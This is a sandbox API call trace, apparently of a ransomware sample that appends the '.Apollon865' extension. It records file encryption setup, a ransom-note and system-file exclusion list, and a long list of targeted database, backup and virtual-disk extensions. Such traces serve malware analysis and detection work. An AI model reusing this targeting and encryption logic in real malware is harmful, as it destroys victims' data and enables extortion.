	[0083.785] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pub6intl.rest.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0083.785] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=581984) returned 1
	[0083.785] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0083.786] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0083.786] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0083.786] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0083.786] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0083.786] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0083.787] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8e460, lpName=0x0) returned 0x15c
	[0083.793] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8e460) returned 0x210000
	[0083.907] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0083.907] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0083.907] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0083.908] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0083.908] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0083.908] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0083.908] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0083.908] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0083.908] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0083.908] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0083.908] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0083.908] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0083.908] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0083.908] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0083.949] CloseHandle (hObject=0x15c) returned 1
	[0083.949] CloseHandle (hObject=0x9c) returned 1
	[0083.949] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0083.949] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0083.949] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0083.952] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749d2200, ftCreationTime.dwHighDateTime=0x1cac80f, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x749d2200, ftLastWriteTime.dwHighDateTime=0x1cac80f, nFileSizeHigh=0x0, nFileSizeLow=0x5ab60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PUBWZINT.REST.trx_dll", cAlternateFileName="PUBWZI~1.TRX")) returned 1
	[0083.952] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0083.952] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0083.952] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2=".") returned 1
	[0083.952] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2="..") returned 1
	[0083.953] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2="windows") returned -1
	[0083.953] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2="bootmgr") returned 1
	[0083.953] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2="temp") returned -1
	[0083.953] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2="pagefile.sys") returned 1
	[0083.953] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2="boot") returned 1
	[0083.953] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2="ids.txt") returned 1
	[0083.953] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2="ntuser.dat") returned 1
	[0083.953] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2="perflogs") returned 1
	[0083.953] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2="MSBuild") returned 1
	[0083.953] lstrlenW (lpString="PUBWZINT.REST.trx_dll") returned 21
	[0083.953] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll") returned 73
	[0083.953] lstrcpyW (in: lpString1=0x119e670, lpString2="PUBWZINT.REST.trx_dll" | out: lpString1="PUBWZINT.REST.trx_dll") returned="PUBWZINT.REST.trx_dll"
	[0083.953] lstrlenW (lpString="PUBWZINT.REST.trx_dll") returned 21
	[0083.953] lstrlenW (lpString="Apollon865") returned 10
	[0083.953] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0083.953] lstrlenW (lpString=".dll") returned 4
	[0083.953] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2=".dll") returned 1
	[0083.953] lstrlenW (lpString=".lnk") returned 4
	[0083.953] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2=".lnk") returned 1
	[0083.953] lstrlenW (lpString=".ini") returned 4
	[0083.953] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2=".ini") returned 1
	[0083.953] lstrlenW (lpString=".sys") returned 4
	[0083.953] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2=".sys") returned 1
	[0083.953] lstrlenW (lpString="PUBWZINT.REST.trx_dll") returned 21
	[0083.953] lstrlenW (lpString="bak") returned 3
	[0083.953] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0083.953] lstrlenW (lpString="ba_") returned 3
	[0083.953] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0083.953] lstrlenW (lpString="dbb") returned 3
	[0083.953] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0083.953] lstrlenW (lpString="vmdk") returned 4
	[0083.953] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0083.953] lstrlenW (lpString="rar") returned 3
	[0083.953] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0083.953] lstrlenW (lpString="zip") returned 3
	[0083.953] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0083.954] lstrlenW (lpString="tgz") returned 3
	[0083.954] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0083.954] lstrlenW (lpString="vbox") returned 4
	[0083.954] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0083.954] lstrlenW (lpString="vdi") returned 3
	[0083.954] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0083.954] lstrlenW (lpString="vhd") returned 3
	[0083.954] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0083.954] lstrlenW (lpString="vhdx") returned 4
	[0083.954] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0083.954] lstrlenW (lpString="avhd") returned 4
	[0083.954] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0083.954] lstrlenW (lpString="db") returned 2
	[0083.954] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0083.954] lstrlenW (lpString="db2") returned 3
	[0083.954] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0083.954] lstrlenW (lpString="db3") returned 3
	[0083.954] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0083.954] lstrlenW (lpString="dbf") returned 3
	[0083.954] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0083.954] lstrlenW (lpString="mdf") returned 3
	[0083.954] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0083.954] lstrlenW (lpString="mdb") returned 3
	[0083.954] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0083.954] lstrlenW (lpString="sql") returned 3
	[0083.954] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0083.954] lstrlenW (lpString="sqlite") returned 6
	[0083.954] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0083.954] lstrlenW (lpString="sqlite3") returned 7
	[0083.954] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0083.954] lstrlenW (lpString="sqlitedb") returned 8
	[0083.954] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0083.954] lstrlenW (lpString="xml") returned 3
	[0083.954] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0083.954] lstrlenW (lpString="$er") returned 3
	[0083.954] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0083.954] lstrlenW (lpString="4dd") returned 3
	[0083.955] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0083.955] lstrlenW (lpString="4dl") returned 3
	[0083.955] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0083.955] lstrlenW (lpString="^^^") returned 3
	[0083.955] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0083.955] lstrlenW (lpString="abs") returned 3
	[0083.955] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0083.955] lstrlenW (lpString="abx") returned 3
	[0083.955] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0083.955] lstrlenW (lpString="accdb") returned 5
	[0083.955] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0083.955] lstrlenW (lpString="accdc") returned 5
	[0083.955] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0083.955] lstrlenW (lpString="accde") returned 5
	[0083.955] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0083.955] lstrlenW (lpString="accdr") returned 5
	[0083.955] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0083.955] lstrlenW (lpString="accdt") returned 5
	[0083.955] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0083.955] lstrlenW (lpString="accdw") returned 5
	[0083.955] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0083.955] lstrlenW (lpString="accft") returned 5
	[0083.955] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0083.955] lstrlenW (lpString="adb") returned 3
	[0083.955] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0083.955] lstrlenW (lpString="adb") returned 3
	[0083.955] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0083.955] lstrlenW (lpString="ade") returned 3
	[0083.955] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0083.955] lstrlenW (lpString="adf") returned 3
	[0083.955] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0083.955] lstrlenW (lpString="adn") returned 3
	[0083.955] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0083.955] lstrlenW (lpString="adp") returned 3
	[0083.955] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0083.955] lstrlenW (lpString="alf") returned 3
	[0083.955] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0083.955] lstrlenW (lpString="ask") returned 3
	[0083.955] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0083.956] lstrlenW (lpString="btr") returned 3
	[0083.956] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0083.956] lstrlenW (lpString="cat") returned 3
	[0083.956] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0083.956] lstrlenW (lpString="cdb") returned 3
	[0083.956] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0083.956] lstrlenW (lpString="ckp") returned 3
	[0083.956] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0083.956] lstrlenW (lpString="cma") returned 3
	[0083.956] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0083.956] lstrlenW (lpString="cpd") returned 3
	[0083.956] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0083.956] lstrlenW (lpString="dacpac") returned 6
	[0083.956] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0083.956] lstrlenW (lpString="dad") returned 3
	[0083.956] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0083.956] lstrlenW (lpString="dadiagrams") returned 10
	[0083.956] lstrcmpiW (lpString1="ST.trx_dll", lpString2="dadiagrams") returned 1
	[0083.956] lstrlenW (lpString="daschema") returned 8
	[0083.956] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0083.956] lstrlenW (lpString="db-journal") returned 10
	[0083.956] lstrcmpiW (lpString1="ST.trx_dll", lpString2="db-journal") returned 1
	[0083.956] lstrlenW (lpString="db-shm") returned 6
	[0083.956] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0083.956] lstrlenW (lpString="db-wal") returned 6
	[0083.956] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0083.956] lstrlenW (lpString="dbc") returned 3
	[0083.956] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0083.956] lstrlenW (lpString="dbs") returned 3
	[0083.956] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0083.956] lstrlenW (lpString="dbt") returned 3
	[0083.956] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0083.956] lstrlenW (lpString="dbv") returned 3
	[0083.956] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0083.956] lstrlenW (lpString="dbx") returned 3
	[0083.956] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0083.956] lstrlenW (lpString="dcb") returned 3
	[0083.956] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0083.957] lstrlenW (lpString="dct") returned 3
	[0083.957] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0083.957] lstrlenW (lpString="dcx") returned 3
	[0083.957] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0083.957] lstrlenW (lpString="ddl") returned 3
	[0083.957] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0083.957] lstrlenW (lpString="dlis") returned 4
	[0083.957] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0083.957] lstrlenW (lpString="dp1") returned 3
	[0083.957] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0083.957] lstrlenW (lpString="dqy") returned 3
	[0083.957] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0083.957] lstrlenW (lpString="dsk") returned 3
	[0083.957] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0083.957] lstrlenW (lpString="dsn") returned 3
	[0083.957] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0083.957] lstrlenW (lpString="dtsx") returned 4
	[0083.957] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0083.957] lstrlenW (lpString="dxl") returned 3
	[0083.957] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0083.957] lstrlenW (lpString="eco") returned 3
	[0083.957] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0083.957] lstrlenW (lpString="ecx") returned 3
	[0083.957] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0083.957] lstrlenW (lpString="edb") returned 3
	[0083.957] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0083.957] lstrlenW (lpString="epim") returned 4
	[0083.957] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0083.957] lstrlenW (lpString="fcd") returned 3
	[0083.957] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0083.957] lstrlenW (lpString="fdb") returned 3
	[0083.957] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0083.957] lstrlenW (lpString="fic") returned 3
	[0083.957] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0083.957] lstrlenW (lpString="flexolibrary") returned 12
	[0083.957] lstrcmpiW (lpString1="REST.trx_dll", lpString2="flexolibrary") returned 1
	[0083.958] lstrlenW (lpString="fm5") returned 3
	[0083.958] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0083.958] lstrlenW (lpString="fmp") returned 3
	[0083.958] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0083.958] lstrlenW (lpString="fmp12") returned 5
	[0083.958] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0083.958] lstrlenW (lpString="fmpsl") returned 5
	[0083.958] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0083.958] lstrlenW (lpString="fol") returned 3
	[0083.958] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0083.958] lstrlenW (lpString="fp3") returned 3
	[0083.958] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0083.958] lstrlenW (lpString="fp4") returned 3
	[0083.958] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0083.958] lstrlenW (lpString="fp5") returned 3
	[0083.958] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0083.958] lstrlenW (lpString="fp7") returned 3
	[0083.958] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0083.958] lstrlenW (lpString="fpt") returned 3
	[0083.958] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0083.958] lstrlenW (lpString="frm") returned 3
	[0083.958] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0083.958] lstrlenW (lpString="gdb") returned 3
	[0083.958] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0083.958] lstrlenW (lpString="gdb") returned 3
	[0083.958] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0083.958] lstrlenW (lpString="grdb") returned 4
	[0083.958] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0083.958] lstrlenW (lpString="gwi") returned 3
	[0083.958] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0083.958] lstrlenW (lpString="hdb") returned 3
	[0083.958] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0083.958] lstrlenW (lpString="his") returned 3
	[0083.958] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0083.958] lstrlenW (lpString="ib") returned 2
	[0083.958] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0083.958] lstrlenW (lpString="idb") returned 3
	[0083.959] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0083.959] lstrlenW (lpString="ihx") returned 3
	[0083.959] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0083.959] lstrlenW (lpString="itdb") returned 4
	[0083.959] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0083.959] lstrlenW (lpString="itw") returned 3
	[0083.959] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0083.959] lstrlenW (lpString="jet") returned 3
	[0083.959] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0083.959] lstrlenW (lpString="jtx") returned 3
	[0083.959] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0083.959] lstrlenW (lpString="kdb") returned 3
	[0083.959] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0083.959] lstrlenW (lpString="kexi") returned 4
	[0083.959] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0083.959] lstrlenW (lpString="kexic") returned 5
	[0083.959] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0083.959] lstrlenW (lpString="kexis") returned 5
	[0083.959] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0083.959] lstrlenW (lpString="lgc") returned 3
	[0083.959] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0083.959] lstrlenW (lpString="lwx") returned 3
	[0083.959] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0083.959] lstrlenW (lpString="maf") returned 3
	[0083.959] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0083.959] lstrlenW (lpString="maq") returned 3
	[0083.959] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0083.959] lstrlenW (lpString="mar") returned 3
	[0083.959] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0083.959] lstrlenW (lpString="marshal") returned 7
	[0083.959] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0083.959] lstrlenW (lpString="mas") returned 3
	[0083.959] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0083.959] lstrlenW (lpString="mav") returned 3
	[0083.959] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0083.959] lstrlenW (lpString="maw") returned 3
	[0083.959] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0083.960] lstrlenW (lpString="mdbhtml") returned 7
	[0083.960] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0083.960] lstrlenW (lpString="mdn") returned 3
	[0083.960] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0083.960] lstrlenW (lpString="mdt") returned 3
	[0083.960] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0083.960] lstrlenW (lpString="mfd") returned 3
	[0083.960] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0083.960] lstrlenW (lpString="mpd") returned 3
	[0083.960] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0083.960] lstrlenW (lpString="mrg") returned 3
	[0083.960] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0083.960] lstrlenW (lpString="mud") returned 3
	[0083.960] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0083.960] lstrlenW (lpString="mwb") returned 3
	[0083.960] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0083.960] lstrlenW (lpString="myd") returned 3
	[0083.960] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0083.960] lstrlenW (lpString="ndf") returned 3
	[0083.960] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0083.960] lstrlenW (lpString="nnt") returned 3
	[0083.960] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0083.960] lstrlenW (lpString="nrmlib") returned 6
	[0083.960] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0083.960] lstrlenW (lpString="ns2") returned 3
	[0083.960] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0083.960] lstrlenW (lpString="ns3") returned 3
	[0083.960] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0083.960] lstrlenW (lpString="ns4") returned 3
	[0083.960] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0083.960] lstrlenW (lpString="nsf") returned 3
	[0083.960] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0083.960] lstrlenW (lpString="nv") returned 2
	[0083.960] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0083.960] lstrlenW (lpString="nv2") returned 3
	[0083.960] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0083.961] lstrlenW (lpString="nwdb") returned 4
	[0083.961] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0083.961] lstrlenW (lpString="nyf") returned 3
	[0083.961] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0083.961] lstrlenW (lpString="odb") returned 3
	[0083.961] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0083.961] lstrlenW (lpString="odb") returned 3
	[0083.961] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0083.961] lstrlenW (lpString="oqy") returned 3
	[0083.961] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0083.961] lstrlenW (lpString="ora") returned 3
	[0083.961] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0083.961] lstrlenW (lpString="orx") returned 3
	[0083.961] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0083.961] lstrlenW (lpString="owc") returned 3
	[0083.961] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0083.961] lstrlenW (lpString="p96") returned 3
	[0083.961] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0083.961] lstrlenW (lpString="p97") returned 3
	[0083.961] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0083.961] lstrlenW (lpString="pan") returned 3
	[0083.961] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0083.961] lstrlenW (lpString="pdb") returned 3
	[0083.961] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0083.961] lstrlenW (lpString="pdm") returned 3
	[0083.961] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0083.961] lstrlenW (lpString="pnz") returned 3
	[0083.961] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0083.961] lstrlenW (lpString="qry") returned 3
	[0083.961] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0083.961] lstrlenW (lpString="qvd") returned 3
	[0083.961] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0083.961] lstrlenW (lpString="rbf") returned 3
	[0083.961] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0083.961] lstrlenW (lpString="rctd") returned 4
	[0083.961] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0083.961] lstrlenW (lpString="rod") returned 3
	[0083.962] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0083.962] lstrlenW (lpString="rodx") returned 4
	[0083.962] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0083.962] lstrlenW (lpString="rpd") returned 3
	[0083.962] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0083.962] lstrlenW (lpString="rsd") returned 3
	[0083.962] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0083.962] lstrlenW (lpString="sas7bdat") returned 8
	[0083.962] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0083.962] lstrlenW (lpString="sbf") returned 3
	[0083.962] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0083.962] lstrlenW (lpString="scx") returned 3
	[0083.962] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0083.962] lstrlenW (lpString="sdb") returned 3
	[0083.962] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0083.962] lstrlenW (lpString="sdc") returned 3
	[0083.962] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0083.962] lstrlenW (lpString="sdf") returned 3
	[0083.962] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0083.962] lstrlenW (lpString="sis") returned 3
	[0083.962] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0083.962] lstrlenW (lpString="spq") returned 3
	[0083.962] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0083.962] lstrlenW (lpString="te") returned 2
	[0083.962] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0083.962] lstrlenW (lpString="teacher") returned 7
	[0083.962] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0083.962] lstrlenW (lpString="tmd") returned 3
	[0083.962] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0083.962] lstrlenW (lpString="tps") returned 3
	[0083.962] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0083.962] lstrlenW (lpString="trc") returned 3
	[0083.962] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0083.962] lstrlenW (lpString="trc") returned 3
	[0083.962] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0083.962] lstrlenW (lpString="trm") returned 3
	[0083.962] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
